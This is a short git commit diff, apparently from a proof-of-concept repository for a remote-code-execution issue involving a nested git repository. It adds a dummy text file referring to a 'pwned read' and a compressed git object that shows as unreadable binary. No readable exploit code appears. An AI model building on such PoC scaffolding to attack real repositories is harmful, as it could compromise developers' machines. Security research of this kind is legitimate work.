poc: add 3rd file on writer before read

api_dummy_3.txt

@@ -0,0 +1 @@
+third dummy via API (before pwned read).

nested/rce-e337bcd9-1.git/objects/2a/d5b5a2f3d877c30f186217318215d0713e61df

@@ -0,0 +1,2 @@
+x
��Anֲ0EY�³¯@;�¡²ל®W˜�'!"אָq{~P%.׀·ת›קץ₪�ןsGn׳×*ה�ָ2‰1ֹ{Mׂw(DָL)D‰H¢lֺֽU
:�c§>ת”F‘Y}	]ָfmצג\4�׃®¥·ֶr׃
+§קת�ֺ´ם§כֶ�…‡ֳ�רוe־gְƒםƒן	>ל#©םו¾ױ�˜µָJ� �ֲו�ֶyQף;
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